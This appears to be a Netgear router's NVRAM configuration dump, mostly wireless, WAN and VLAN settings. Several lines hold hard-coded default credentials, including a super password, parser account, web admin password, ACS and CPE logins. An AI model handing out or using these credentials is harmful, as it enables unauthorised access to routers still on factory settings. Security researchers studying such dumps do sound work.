ppp0_ip_ext_enable=0
pppoa_dod=0
wan_dns_sel=0
bs_trustedip_temp=192.168.1.0
wla_repeater=0
wla_wds_pmp_sta=1
software_version_bak=1.0
pppoe_mru=1492
syslog_option=1
upnp_advert_period=30
wl0_wps_config_state=0
fw_rsp_ping=0
ver_type=WW
pppoa_max_echo_fail=3
wla_frag=2346
wan0_proto_enable_0=1
str_tbl_en=1
bs_enable_temp=0
traffic_warning_state=0
wan_ipaddr=0.0.0.0
ppp0_to_bridge=0
ppp0_remote_ip=0.0.0.0
http_rmport=8443
usb_wan_ftp_pasv_port_start=30001
cpe_productclass=Netgear
fw_dmz_enab=0
wla_temp_defaKey=0
cpe_dl_surl=-
traffic_led_enable=0
preferredDns=0.0.0.0
wps_lan_led=0
wla_channel=0
wla_ssidIdx=1
wl0_radio=1
fw_email_send_all=0
wla_region=5
Te_test_flag=0
upnp_advert_ttl=4
cpe_status=normal
ddns_wildcard=0
ppa0_to_bridge=0
cpe_cmdkey=-
wla_temp_setting_3=0
wan_ipconn_name=dhcp
syslog_serverPort=514
wan_hwaddr_sel=0
cpe_parattr=InternetGatewayDevice.ManagementServer.URL:2:0
wla_txPwrPcnt=100
country=USA
wla_wpaGTKRekey=0
wan0_encapMode=0
ppa0_static_ip=0
ver_check_ftp_password=WNR3500U@
local_ip2=0.0.0.0
wla_rate=0
qos_bw_min_3=1000000
upnp_portmap_entry=0
wan_netmask=0.0.0.0
wla_ssid_bc_3=1
wla_temp_ssid_3=NETGEAR-Guest2
lanip_changed=0
traffic_enable=0
wps_timeout_enable=0
sel_region=0
wla_csScanTimer=0
wla_radius_port=1812
usb_shareport=21
usb_wan_http_enable=0
manufacturer_OUI=0014BF
smb_host_name=readyshare
wla_basicRate=default
local_ip1=0.0.0.0
wl_unit=0
traffic_volume_ctrl_dir=0
ipoa_gateway=0.0.0.0
et1macaddr=00:FF:FF:FF:FF:FF
lan_stp=1
wanipaddr_bak=old
dhcp_start=192.168.1.2
wla_wds_ptp_sta=1
http_rmstartip=0.0.0.0
ppa0_idle_timeout=300
wla_radius_server=0.0.0.0
ipa0_ip_addr=0.0.0.0
bpa_debug_level=1
atmVcc0_tdid=0
wan_proto=dhcp
cpe_password=plugfest
wla_temp_ssid_4=NETGEAR-Guest3
friendly_name=WNR3500Lv2
atmTd0_maxBurstSize=0
ver_check_ftp_username=anonymous
is_default=1
lan1_lease=86400
nowchoice=0
qos_l7_apps=5:3 6:3 3:0 2:0 4:0 1:0
traffic_restart_hour=00
wl0_preauth=0
lan1_netmask=255.255.255.0
traffic_restart_day=1
wl0_wps_reg=enabled
wan0_connId=1
cpe_periodicinform_enable=1
wl0_hwaddr=00:FF:FF:FF:FF:FF
wla_disableWme=0
WandataDirIndex=1
logo_enable=0
potMaxValue=4320
wan0_enable=1
wan_ipaddr_old=0.0.0.0
usb_wan_ftp_port=21
potValue=0
ppp0_netmask=0.0.0.0
cpe_username=plugfest
ping_NOrepetitions=2
ipsrv0_ip_mask=0.0.0.0
local_ip7=0.0.0.0
lan_upnp_wfa_subc_num=0
wl_wps_mode=enabled
wla_wep_length=0
ipsrv0_ip_addr=0.0.0.0
pppoe_ifname=ppp0
usb_umount=0
log_level=0
wla_nProtection=auto
wla_netReauth=36000
ver_check_ftp_svr2=updates1.netgear.com
ver_check_ftp_svr1=updates1.netgear.com
wla_dfsPreIsm=60
system_name=WNR3500Lv2
wan0_nat_enable=1
fwpt_enable=1
ppa0_auth_method=0
lan1_ipaddr=192.168.2.1
wan0_vlan_id=1
cpe_dl_start=-
lang_check_config_file_name=stringtable.txt
wan_unit=0
gui_check_enable=1
usb_dev_no_change=0
wla_auth_type_2=automatic
pptp_serv_ip=10.0.0.138
fw_bks_block_type=0
qos_bw_max_0=128000
wla_amsdu=off
wlan_acl_enable=0
wla_wmeApsd=1
pppoa_localip=0.0.0.0
rm_access=all
fw_sip_enab=1
lan1_stp=1
pppoa_idletime=300
usb_wan_ftp_enable=0
wla_acl=Disable
atmTd0_sustainedCellRate=0
traffic_warning_time=0
wla_temp_defaKey_4=0
ppa0_ip_ext_enable=0
traffic_block_enable=0
wps_sta_pin=00000000
cpe_bootstrap=0
wla_sec_profile_name_3=NETGEAR2
usb_ftp_enable=0
acs_url2=http://172.19.139:1234
usb_http_enable=1
ppp0_debug=0
acs_username=admin
48=fab2
wan_lease=86400
syslog_status=0
wl_macmode=disabled
wan_primary=0
schedule_daylightadjust=0
wla_temp_isolation=0
traffic_control_type=0
fw_email_pid=-1
upgrade_enable=1
wiz_pppoe_wait_time=5
wla_wds_mode=1
wla_wep_length_4=0
atmVcc0_dsl_mode=0
fw_dmz_ip4=2
wla_temp_setting_4=0
wla_ssid_3=NETGEAR-Guest2
ping_datablocksize=42
traffic_restart_min=00
wla_auth_type=automatic
ipoa_ipaddr=0.0.0.0
pppoe_session_id=0
traffic_restart_ampm=0
wl_key=1
diagnostic_state=None
pppoa_ifname=ppp0
wl_wps_config_state=0
cpe_devname=ADSL
smb_enable=1
gui_region=English
dhcp_mode=manual
wsc_pin_disable=0
wla_enbl_1=0
acs_url_bak=http://10.10.10.10:9999
fw_spi_enab=1
wps_device_name=WNR3500Lv2
local_ip3=0.0.0.0
enable_gui_str_tbl=1
wla_mode=300Mbps
router_disable=0
usb_wan_ftp_pasv_port_end=30050
wla_protection=auto
wps_config_method=0x2688
wla_defaKey=0
usb_disk_max_part=15
wps_aplockdown_cap=1
pppoa_keepalive=1
lang_check_ftp_svr=updates1.netgear.com
qos_bw_uplink=256000
wps_aplockdown_ageout=31536000
boardnum=2200
pppoa_echo_interval=30
ipsrv0_ip_gateway=0.0.0.0
usb_wan_http_port=443
acs_provisioncode=-
boot_wait=off
event_method=M factory
traffic_IssueWarning_enable=0
upnp_duration=3600
local_ip9=0.0.0.0
ver_check_enable=1
wla_ssid_bc_2=1
syslog_remoteLogLevel=7
wl0_net_reauth=36000
wl0_wps_mode=enabled
lan1_proto=dhcp
http_lanport=80
fwpt_timeout=1200
wla_preauth=0
local_ip10=0.0.0.0
str_tbl_non_en=0
cpe_periodicinform_interval=86400
str_tbl_non_en_ver=0.0.0.0_0.0.0.0
ping_timeout=17000
local_ip4=0.0.0.0
52=384c
enable_any_usb_dev=1
qos_rule_count=-1
wiz_dhcp_wait_time=5
ddns_checked=0
wps_modelnum=WNR3500Lv2
wla_auth_type_4=automatic
request_download=0
acs_password=admin
fw_email_email_alert=0
wl0_wpa_gtk_rekey=0
wla_ssid_4=NETGEAR-Guest3
local_ip8=0.0.0.0
timer_interval=3600
wps_aplockdown=0
wla_ssid_bc_4=1
acs_provisioncode_bak=-
wan0_vccId=0
wla_nCtrlsb=none
wla_sec_profile_name_2=NETGEAR1
ipa0_ip_gateway=0.0.0.0
TR111_num=0
potInterval=60
pppoe_dod=1
ipsrv0_static=0
wan_interface_number=1
pppoe_localip=0.0.0.0
nat_inbound_filtering=1
wla_temp_secu_type=None
ppa0_remote_ip=0.0.0.0
fw_email_email_enable=0
wla_tpcDb=0
atmVcc0_qos=1
bpa_dod=1
run_test=0
wla_dtmIntvl=1
wps_addER=0
lang_check_config_file_dir=stringtables
ping_interface=-
syslog_serverIP=0.0.0.0
supported_languages=English
pppoe_idletime=300
wla_temp_defaKey_3=0
ppp0_idle_timeout=300
ver_check_config_file=fileinfo.txt
pptp_dod=1
wla_wme=1
ping_host=192.168.1.1
wla_temp_region=5
syslog_serverPort:=0.0.0.0
WAN_Internet_Access=1
wla_wmeNoAck=0
pppoa_mru=1458
cpe_dl_fault=-
atmVcc0_encap=LLC
wla_secu_type_4=None
cpe_dl_end=-
ppa0_debug=0
wan0_igmp_proxy_enable=0
lan1_dhcp=0
wla_ssid=NETGEAR
smb_group_name=Workgroup
wla_temp_ssid_2=NETGEAR-Guest
traffic_watermark=0
wla_ssid_2=NETGEAR-Guest
lan_lease=86400
traffic_round_up_volume=0
ddns_last_ip=0.0.0.0
upnp_DHCPServerConfigurable=1
wl0_mode=ap
wla_temp_profile_name_4=NETGEAR3
atmVcc0_enable=1
ver_check_ftp_svr3=updates1.netgear.com
cpe_url=-
ezc_enable=1
wl_version=3.90.23.0
wla_frameBurst=on
ping_dscp=0
restart_processes=0
wla_dfsPostIsm=60
pptp_idletime=5
wla_antDiv=0
ipa0_ip_mask=0.0.0.0
cpe_url_bak=-
wan0_dns_sel=0
wla_wmm_advert_3=1
wla_sec_profile_enable=1
tftp_serv_ipaddr=192.168.1.2
wla_ampdu=on
wan0_fw_enable=1
wla_temp_profile_name_3=NETGEAR2
wla_temp_setting_2=0
bs_trustedip=192.168.1.0
lan1_gateway=192.168.2.1
str_tbl_en_ver=1.0.0.24_2.1.30.1
wps_modelname=WNR3500Lv2
wla_bcnIntvl=100
manufacturer_name=Netgear
wla_auth_type_3=automatic
wla_lazyWds=0
usb_mount_signal=0
wla_wep_length_3=0
wla_temp_profile_name_2=NETGEAR1
47=15a9
atmVcc0_vci=35
wla_wep_length_2=0
wla_secu_type_2=None
wla_maxAssoc=128
wla_isolation=0
wan0_proto=mer
wla_afterBurnerEn=off
wla_sec_profile_enable_2=0
wla_wlanstate=Enable
start_tfmeter=0
pppoe_max_echo_fail=3
wla_ssid_1=Guest
wps_perm_lock=0
pppoe_keepalive=1
wps_mfstring=NETGEAR, Inc.
lan_ifname=br0
super_passwd=Geardog
atmVcc0_aal=aal5
lock_list=-
atmVcc0_adminStatus=1
brs_lang_check_enable=1
bpa_status=0
wla_wmm_advert_4=1
wla_nMcsidx=-1
wla_secu_type_3=None
ezc_version=2
lanip_setup_changed=0
cpe_periodicinform_time=0
wla_temp_wlanstate=1
wan_hostname=DGN2200
parameter_key=-
wla_type=ap
qos_bw_enable=0
acs_url=http://172.19.92.139:1234
nat_interface_idx=1
wl_wps_reg=enabled
wla_temp_ssid=NETGEAR
alternateDns=0.0.0.0
wlan_acl_num=64
http_rmenable=0
ppp0_dod=1
local_ip5=0.0.0.0
wla_ssid_bc=1
fwpt_count=0
ipoa_netmask=0.0.0.0
wla_wds_enable=0
ppp0_ip_addr=0.0.0.0
wan_pppconn_name=PPPoE
wps_force_restart=y
ure_disable=1
wla_wmm_advert_2=1
wla_secu_type=None
wla_temp_broadcast=ssid_24G_bc
wan_gateway=0.0.0.0
wl0_bss_enabled=1
ppp0_auth_method=0
ppa0_ip_addr=0.0.0.0
ipa0_static=1
atmVcc0_vpi=8
bpa_server=login-server
ppa0_netmask=0.0.0.0
bpa_idletime=5
http_lang=en
wla_sec_profile_enable_3=0
dhcp_end=192.168.1.254
ntp_server=192.5.41.40 192.5.41.41 133.100.9.2
http_rmendip=255.255.255.255
atmTd0_service=ubr
run_wiz=0
syslog_localLogLevel=7
wla_broadcast=1
local_ip6=0.0.0.0
ppp0_static_ip=0
enblIgmpSnp=0
ntp_update_interval=86400
wla_temp_setting=0
wan_bpa_minheartbeat=2
wla_nReqd=0
wps_uuid=0x000102030405060708090A0B0C0D0EBB
tr069_enable=0
wan_bpa_localport=5050
wla_regMode=0
wla_temp_channel=0
IPConnExtIP_111=-
ver_check_stringtable_dat=stringtable.dat
atmVcc0_multiplex=llcencaps
wla_phyType=g
wla_temp_defaKey_2=0
49=fe99
bs_enable=0
atmTd0_peakCellRate=0
pppoe_echo_interval=30
http_passwd=password
enblIgmpMode=0
wps_aplockdown_count=3
wan_ifnames=eth0
wps_aplockdown_duration=31536000
wla_sec_profile_name_4=NETGEAR3
wan_bpa_maxheartbeat=20
adsl_setting_map=0x0000007f
wan_access_type=DSL
atmVcc0_port=0
wla_preamble=long
ddns_update_time=0
upnp_turn_on=1
cpe_dl_furl=-
wla_rts=2347
wla_sec_profile_enable_4=0
ID=pci/0/2/
wlg_ap_isolate=0
wl23_auth_mode=none
wl141_auth_mode=none
wlg_temp_ssid=NETGEAR-5G
user_setup_num=5
wl17_auth_mode=none
wlg_repeater=0
wl199_wep=disabled
wl_frameburst=on
RA_AdvOtherConfigFlag=on
wlg_auth_type=automatic
wl151_wep=disabled
wl154_auth_mode=none
wla_temp_enable=enable_ap
wl203_auth_mode=none
wl150_auth_mode=none
wlg_txbf=1
wl128_wep=disabled
second_wan_status=0
wl70_auth_mode=none
dual_band=1
RA_AdvDefaultPreference=low
pppoe2_session_id=0
ap_dyn_dns=1
wl_rate=0
wl73_auth_mode=none
vlan_prio=0
wl238_auth_mode=none
wl_country=GB
wla_allow_see_access_2=0
wl_gmode=GMODE_AUTO
wlg_en_secu_type=WPA-AUTO
wl42_auth_mode=none
wl37_auth_mode=none
wl162_auth_mode=none
wl_wme_5g=1
vlan_ports=0xFF
wan2_netmask=0.0.0.0
wl34_wep=disabled
wl1_stbc_rx=1
ntp_is_synced=0
wl44_auth_mode=none
led_settings=en_blink
wl194_auth_mode=none
wl_country_code=GB
video_qos_delta_bwl=100
lan_ipv6_link_local_addr=fe80:0000:0000:0000:02ff:ffff:feff:ffff
wl91_wep=disabled
wl179_wep=disabled
wl39_wep=disabled
wl139_wep=disabled
wl103_auth_mode=none
wl253_wep=disabled
access_all_new_devices=1
static_l2tp_enable=0
wl187_auth_mode=none
leafp2p_peer_router_type=1
pppoe2_west_username=flets@flets
wl238_wep=disabled
wl242_wep=disabled
wl22_wep=disabled
vht_tkip_reject=1
wl254_wep=disabled
RA_AdvRetransTimer=0
wl59_wep=disabled
wl226_auth_mode=none
wl_phytype=n
wl85_auth_mode=none
wl_wme_apsd=on
wl61_wep=disabled
wl77_auth_mode=none
:=0
wl202_auth_mode=none
wl130_auth_mode=none
log_filter=65535
fcc_dfs_ch_enable=0
wps_version2=enabled
content_scan=1
wlg_wpa_gtk_rekey=3600
wl150_wep=disabled
video_qos_bwl_limit_real_percent=60
wl175_wep=disabled
wl229_wep=disabled
wl11_wep=disabled
wl36_auth_mode=none
pppoe_policy_num=0
wl173_wep=disabled
wl_leddc=0x640000
ipv6_6to4_router=192.88.99.1
wl86_auth_mode=none
wl216_auth_mode=none
wl177_auth_mode=none
wl_gmode_protection=auto
wl231_wep=disabled
wl33_wep=disabled
wl105_wep=disabled
wl223_auth_mode=none
wl215_wep=disabled
wlg_radius_port=1812
wl148_auth_mode=none
leafp2p_debug=0
wl242_auth_mode=none
wl193_auth_mode=none
wl_radarthrs=0 0x6a8 0x6c8 0x6ac 0x6c7
x_discovery_url=https://presence.ngxcld.com/presence/presence
wl107_wep=disabled
wl56_wep=disabled
wl248_wep=disabled
wps_config_command=0
wl123_wep=disabled
wl81_wep=disabled
browser_language=English
wl_wme_sta_vi=7 15 2 6016 3008 off off
wl59_auth_mode=none
wl133_auth_mode=none
wl76_auth_mode=none
wl129_auth_mode=none
wps_ifname=all
wl97_auth_mode=none
wl243_auth_mode=none
wl158_auth_mode=none
wl126_wep=disabled
wl43_auth_mode=none
wl_rxchain_pwrsave_quiet_time=1800
wl_wme_2g=1
wl_radio=1
wl2_auth_mode=none
wl90_auth_mode=none
wl49_auth_mode=none
wl94_wep=disabled
wl98_wep=disabled
wl249_auth_mode=none
wl119_auth_mode=none
single_pppoe_login=0
gui_Wireless_Security_state=none
l2tp_ip_sel=0
wl147_wep=disabled
wl165_wep=disabled
wl52_auth_mode=none
vlan1ports=1 2 3 4 8*
wl_plcphdr=long
wl189_wep=disabled
wl231_auth_mode=none
bridge_interface=0
wl_crypto=tkip
wl86_wep=disabled
wl87_auth_mode=none
wl10_auth_mode=none
WifiSchedule_5GRadioDown=0
wlg_ssid_2=NETGEAR-5G-Guest
wlg_preamble=long
wl148_wep=disabled
wl154_wep=disabled
last_auto_ip=0.0.0.0
wla_defaKey_4=0
wla_ap_isolate=0
wl92_wep=disabled
wla_defaKey_2=0
pause_wan_lan_conflict=0
wl_wme_ap_vi=7 15 1 6016 3008 off off
wl_vlan_prio_mode=off
wlg_band=2.4G
openvpn_protocol=udp
wl35_auth_mode=none
wl239_auth_mode=none
wl182_auth_mode=none
wl_tpc_db=0
x_register_url=https://registration.ngxcld.com/registration/register
wl47_wep=disabled
wl137_wep=disabled
RA_use_dynamic_lifetime=0
readycloud_use_xcloud=1
wl_rxchain=7
pppoe_tmp_idletime=300
openvpn_service_port=12974
qos_update_interval=86400
wl104_wep=disabled
afpd_enable=1
gui_GuestNetwork_enable=none
wl167_wep=disabled
wl175_auth_mode=none
wl109_wep=disabled
video_qos_force_drop_period=10
wl66_wep=disabled
wl157_auth_mode=none
vlan_iptv_interfaces=0x00
wl89_auth_mode=none
apmode_dns1=0.0.0.0
wl_pcie_mrrs=128
lanip_wds_setup_changed=0
wl24_wep=disabled
video_qos_per_tolerance_pickup=10
wl79_auth_mode=none
wl14_auth_mode=none
qos_update_enable=0
dome_led_status=ON
wl60_wep=disabled
wl_frag=2346
wl53_wep=disabled
wl184_wep=disabled
wl185_wep=disabled
wl179_auth_mode=none
pppoe_wan_dns_sel=0
wl68_auth_mode=none
wl98_auth_mode=none
wlg_temp_secu_type=None
iptv_enabled=0
wl241_auth_mode=none
wl41_wep=disabled
x_claimed_url=https://registration.ngxcld.com/registration/status
wl144_wep=disabled
wl_closed=0
wl158_wep=disabled
parser_username=Gearpar
wl19_wep=disabled
wl_wps_5g_config_state=0
ap_dyn_ip=1
x_advisor_url=https://advisor.ngxcld.com/advisor/direct
pppoe2_dod=0
wlg_auth_type_2=automatic
wl215_auth_mode=none
wl107_auth_mode=none
wl128_auth_mode=none
wl69_wep=disabled
wl78_wep=disabled
wifi_sche_off=Enable
wl213_wep=disabled
wl206_wep=disabled
wl134_wep=disabled
wl207_auth_mode=none
wl137_auth_mode=none
wan2_ipaddr=0.0.0.0
wl109_auth_mode=none
pppoe2_bs_enable_temp=0
wl34_auth_mode=none
wlg_wmm_advert_2=1
wl140_auth_mode=none
wl216_wep=disabled
wl6_wep=disabled
wl209_auth_mode=none
wl_mrate=0
wl9_wep=disabled
ipv6ready=0
RA_AdvValidLifetime=2400
wl248_auth_mode=none
wl255_auth_mode=none
wl12_auth_mode=none
WifiSchedule_2GRadioDown=0
wl101_auth_mode=none
wl20_wep=disabled
wlg_wep_length_2=0
wl56_auth_mode=none
wl50_wep=disabled
wl161_wep=disabled
wl97_wep=disabled
RA_MaxRtrAdvInterval=600
wl77_wep=disabled
wl157_wep=disabled
wl22_auth_mode=none
wl57_wep=disabled
wl152_wep=disabled
video_qos_win_running=5
wl234_auth_mode=none
success_page_hijack=0
gui_GuestNetwork_sec_profile=none
wl66_auth_mode=none
et_txq_thresh=1024
wl127_auth_mode=none
wl228_wep=disabled
pppoe2_temp_type=4
wl244_wep=disabled
wl46_auth_mode=none
wl135_auth_mode=none
wl233_wep=disabled
enable_vlan=disable
wl29_wep=disabled
vlan2hwname=et0
wl146_wep=disabled
wl237_wep=disabled
rip_filter_enable=0
wl20_auth_mode=none
wl40_auth_mode=none
wl46_wep=disabled
channel_mode=Default
new_firmware_available=0
wl47_auth_mode=none
pppoe2_keepalive=0
runtest=0
wla_allow_access_4=0
wl16_wep=disabled
wlg_wds_mode=1
wl156_auth_mode=none
wl0_assoc_retry_max=20
wl185_auth_mode=none
wla_radius_ip=0.0.0.0
wl114_auth_mode=none
wl_wme=on
wl142_auth_mode=none
wl124_auth_mode=none
wl44_wep=disabled
wl89_wep=disabled
wl100_wep=disabled
wlg_temp_defaKey=0
pppoe2_mtu=1454
video_qos_need_check_bwh_in_vague=0
wl166_wep=disabled
genie_remote_certificate=/opt/xagent/certs/ca-bundle-mega.crt
wl236_auth_mode=none
wl233_auth_mode=none
wl210_auth_mode=none
wl1_wps_config_state=0
wl96_wep=disabled
pppoe_localgateway=...
wl146_auth_mode=none
wl18_auth_mode=none
wl205_auth_mode=none
wps_restart=0
wl200_wep=disabled
wl220_auth_mode=none
wl186_auth_mode=none
wl160_wep=disabled
wl1_radarthrs=1 0x6ac 0x6dc 0x6bc 0x6ec 0x6ac 0x6dc 0x6bc 0x6ec
pptp_user_ip=...
wl27_wep=disabled
gbsd_trial_intf=0
video_qos_win_adapt=1
wl13_auth_mode=none
wl155_wep=disabled
basic_setting=0
wl_chanspec=0
wl180_wep=disabled
wl246_auth_mode=none
wl_wme_txp_vi=7 3 4 2 0
igmp_proxying_enable=0
wlg_ssid_bc_2=1
wl212_auth_mode=none
dlna_auto_ip=0
wl38_wep=disabled
wl111_wep=disabled
x_handler_1004=127.0.0.1:10101
wl116_auth_mode=none
wl224_auth_mode=none
wl102_auth_mode=none
wl217_wep=disabled
wl173_auth_mode=none
pppoe2_idletime=300
wl221_wep=disabled
static_pppoe_enable=0
ipv6rd_auto_mode=1
wl183_auth_mode=none
wl241_wep=disabled
wl132_auth_mode=none
tmp_wla_wds_enable=0
wl199_auth_mode=none
pppoe_flet_sel=fletdisable
wl110_wep=disabled
wl217_auth_mode=none
wl_bss_maxassoc=128
video_qos_zero_traffic=10
video_qos_rang_persent=30
wl204_wep=disabled
wl177_wep=disabled
wla_wpa_gtk_rekey=3600
wl_wme_txp_be=7 3 4 2 0
gui_Internet_state=0
wl_dfs_postism=60
filter_macmode=disabled
pppoe2_flag_Emin=0
wl138_wep=disabled
wl64_auth_mode=none
pppoe_tmp_username=guest
RA_AdvOnLink=on
wl156_wep=disabled
wps_start=none
enable_sta_mode=0
leafp2p_service_0=RouterRemote,0,1,1,0,1,6:135,6:136,6:137,6:138,6:139,6:445,6:548,17:135,17:136,17:137,17:138,17:139,17:445,17:548
wl_wme_txp_bk=7 3 4 2 0
wl252_wep=disabled
pptp_user_netmask=...
wl_wme_bss_disable=0
ddns_netgear_hoststatus=2
wl212_wep=disabled
emf_enable=0
leafp2p_firewall=0
vlan2ports=4 8u
LangTagChinese=0
wl30_wep=disabled
wl111_auth_mode=none
wl93_wep=disabled
wla_defaKey_3=0
apmode_gateway=0.0.0.0
wl58_wep=disabled
wl_bss_enabled=1
wl_auth=0
wl_wme_sta_vo=3 7 2 3264 1504 off off
wl60_auth_mode=none
wl_rxchain_pwrsave_pps=10
ce_dfs_ch_enable=1
wl1_stbc_tx=auto
wan_hwaddr=00:FF:FF:FF:FF:FF
wl164_auth_mode=none
pppoe2_username=guest
wl48_auth_mode=none
wl11_auth_mode=none
openvpn_iface_type=tap
RA_MinRtrAdvInterval=198
wl133_wep=disabled
WifiSche_botton_state=0
wl196_auth_mode=none
wl244_auth_mode=none
wl_mimo_preamble=mm
wl16_auth_mode=none
auto_conn_24hr=Disable
wlg_sec_profile_enable_2=0
single_firmware_en=1
wl247_auth_mode=none
wl208_wep=disabled
wl18_wep=disabled
ipv6_proto=disable
wl117_auth_mode=none
ipv6_6to4_sla_id=58482
wl72_wep=disabled
l2tp_user_netmask=...
wl127_wep=disabled
pptp_localip=0.0.0.0
wl_ampdu_rr_rtylimit_tid=2 2 2 2 2 2 2 2
first_wan_status=0
wl7_auth_mode=none
wl80_auth_mode=none
wl121_wep=disabled
wlg_defaKey=0
wl61_auth_mode=none
wl125_auth_mode=none
wl120_auth_mode=none
wan_status=down
wl78_auth_mode=none
cgi_debug_msg=0
wl143_auth_mode=none
wl143_wep=disabled
leafp2p_connection_method_type=2
l2tp_conn_id=WNR3500Lv2
wps_lock_start_cnt=3
wl247_wep=disabled
wl211_auth_mode=none
wl165_auth_mode=none
wl230_auth_mode=none
wl234_wep=disabled
gui_AttachedDevices_num=0
wl51_wep=disabled
wl117_wep=disabled
ipv6rd_wan_dns_sel=0
wl9_auth_mode=none
wl88_wep=disabled
wl38_auth_mode=none
wl171_auth_mode=none
wl0_stbc_rx=1
wl50_auth_mode=none
wl152_auth_mode=none
wl227_auth_mode=none
wl220_wep=disabled
wl162_wep=disabled
wl53_auth_mode=none
video_qos_delta_bwl_min=100
wl83_wep=disabled
wl_sta_retry_time=5
wl_ap_isolate=0
wl70_wep=disabled
wl193_wep=disabled
wl5_auth_mode=none
wl243_wep=disabled
wl106_auth_mode=none
enable_implicit_beamforming=1
wl134_auth_mode=none
parser_passwd=Gearucp
wlg_frag=2346
wl_txbf_timer=25
ctf_disable=0
wl88_auth_mode=none
wl31_auth_mode=none
wl69_auth_mode=none
pktc_disable=0
wl169_wep=disabled
wl_dfs_preism=60
wl200_auth_mode=none
wl112_auth_mode=none
lan_interface=vlan1
enable_band_steering=0
active_readycloud=1
oray_ddns_constatus=offline
wl_dmatxctl=0x24c0040
wl21_auth_mode=none
oray_ddns_service_type=---
wl118_wep=disabled
wl_dmarxctl=0x4c0000
wlg_defaKey_2=0
wl84_wep=disabled
leafp2p_remote_url=http://peernetwork.netgear.com/peernetwork/services/LeafNetsWebServiceV2
wl246_wep=disabled
wl26_auth_mode=none
wlg_ssid=NETGEAR-5G
wl131_auth_mode=none
wl43_wep=disabled
fw_rsp_ping_old=0
wl8_auth_mode=none
ddns_netgear_success=2
wl184_auth_mode=none
enable_ccs=0
wl42_wep=disabled
wl1_wep=disabled
wlg_wep_length=0
wl_mcast_regen_bss_enable=1
wl122_wep=disabled
wl_radius_port=1812
wl227_wep=disabled
wl210_wep=disabled
wl214_auth_mode=none
wl_lazywds=0
genie_remote_url=https://genieremote.netgear.com/genie-remote/claimDevice
wl138_auth_mode=none
wl145_wep=disabled
wlg_allow_access_2=0
wl252_auth_mode=none
wl30_auth_mode=none
wl213_auth_mode=none
leafp2p_replication_url=https://readyshare.netgear.com/device/entry
wl249_wep=disabled
wl151_auth_mode=none
wlg_mode=HT80
wl201_auth_mode=none
acosnat_ctf_disable=0
wl237_auth_mode=none
tmp_lan_ipaddr=0.0.0.0
wl57_auth_mode=none
auto_conn_time=0
wl224_wep=disabled
wl74_wep=disabled
wl153_wep=disabled
tmp_register_name=1
wl32_wep=disabled
wl219_wep=disabled
wl153_auth_mode=none
wl190_wep=disabled
pppoe2_east_passwd=guest
str_tbl_default_check=1
wl206_auth_mode=none
video_qos_enable=0
traffic_cntime_monthly_limit=0
wl_wme_ap_be=15 63 3 0 0 off off
pppoe2_authtype=0
wl62_auth_mode=none
wl145_auth_mode=none
wl160_auth_mode=none
password_question1=0
pppoe2_fw_bks_block_type=0
wlg_temp_band=5G
wl94_auth_mode=none
wan2_ipaddr_old=0.0.0.0
wl96_auth_mode=none
wl41_auth_mode=none
wl235_auth_mode=none
wl68_wep=disabled
wl79_wep=disabled
wl95_wep=disabled
vlan_id=10
wl_antdiv=-1
wl218_wep=disabled
video_qos_win_bwchg=3
ipv6_auto_type=DHCP/Auto Config
wl245_wep=disabled
wl62_wep=disabled
video_qos_bwl_zero=50
wl40_wep=disabled
wl251_auth_mode=none
wl_mode=ap
wl_wpa_gtk_rekey=0
acs_ifnames=eth1
wl188_wep=disabled
video_qos_win_bwhdrop=4
wl232_wep=disabled
vlan_rule_enable=1
wl1_ifname=eth2
pppoe2_flag_Smin=0
wl208_auth_mode=none
wl80_wep=disabled
tmp_lan_netmask=0.0.0.0
wl15_auth_mode=none
macaddr=00:FF:FF:FF:FF:FF
wl253_auth_mode=none
wlg_rts=2347
hd_idle_debug=0
wlg_radius_ip=0.0.0.0
wl106_wep=disabled
ipv6_interfaceid_enable=0
wl209_wep=disabled
wla_onoff=Disable
wps_method=1
wl_radio_pwrsave_pps=10
wl_rxchain_pwrsave_enable=1
wl13_wep=disabled
qos_bw_tmp_uplink=512000
lan_dhcpsv6_enable=0
pppoe_switch=1
wps_status=0
share_api_num=10
openvpn_redirectGW=auto
wl187_wep=disabled
leafp2p_services=1
wl178_auth_mode=none
wl180_auth_mode=none
vlan1hwname=et0
wl235_wep=disabled
wl149_auth_mode=none
wl_ampdu_rtylimit_tid=5 5 5 5 5 5 5 5
wl236_wep=disabled
wl19_auth_mode=none
wl_bcn_rotate=1
wl104_auth_mode=none
wl219_auth_mode=none
RA_AdvManagedFlag=off
wl198_auth_mode=none
wl52_wep=disabled
wl174_auth_mode=none
pptp_ip_sel=0
vlan_name=Internet
wl113_auth_mode=none
wl197_auth_mode=none
pppoe2_mru=1454
qos_down_streaming_enable=0
wl181_auth_mode=none
RA_AdvDefaultLifetime=1800
wl196_wep=disabled
wl1_txbf_bfr_cap=1
wl6_auth_mode=none
wl172_wep=disabled
ru_igmp_enable=0
pppoe2_west_passwd=flets
wla_autochannel=enable
wl_wme_ap_vo=3 7 1 3264 1504 off off
wl141_wep=disabled
rip_version=2
enable_password_recovery=0
wl171_wep=disabled
performance_boost=1
wl99_wep=disabled
lan_dhcpsv6_lifetime=86400
pppoe_flet_type=0
wl232_auth_mode=none
pppoe_tmp_mtu=1454
wla_allow_access_3=0
wl28_auth_mode=none
wl_nband=2
static_pptp_enable=0
wl_wep=disabled
video_qos_rang_number=0
wlg_temp_mode=300Mbps
wps_proc_status=0
wps_aplockdown_disable=0
wl82_auth_mode=none
sche_tmp_set=0
wl49_wep=disabled
wl73_wep=disabled
wl229_auth_mode=none
wl74_auth_mode=none
media_name=ReadyDLNA: R6400
wl_stbc_tx=auto
wl_mbss_skipctf=1
wl_radio_pwrsave_level=0
wl125_wep=disabled
wl108_auth_mode=none
wlg_temp_broadcast=ssid_5G_bc
wl214_wep=disabled
wl7_wep=disabled
wl140_wep=disabled
telec_dfs_ch_enable=1
wl168_wep=disabled
rip_enable=0
wan2_dns_sel=0
wl166_auth_mode=none
wl31_wep=disabled
video_qos_high_ip=0.0.0.0
wl102_wep=disabled
wl203_wep=disabled
wl221_auth_mode=none
chg_from_bridge=0
ddns_cgi_alarm=0
traffic_volume_monthly_limit=0
wl211_wep=disabled
wl122_auth_mode=none
wl_amsdu=auto
wl251_wep=disabled
wl169_auth_mode=none
wl75_wep=disabled
enable_atf=1
wl168_auth_mode=none
gui_Wireless_Radio_state=none
wl99_auth_mode=none
wl75_auth_mode=none
wl83_auth_mode=none
wl_radio_pwrsave_enable=0
wlg_secu_type_2=None
gbsd_ifnames=eth1 eth2
wl_maxassoc=128
wl28_wep=disabled
wl_wme_txp_vo=7 3 4 2 0
wl123_auth_mode=none
wl8_wep=disabled
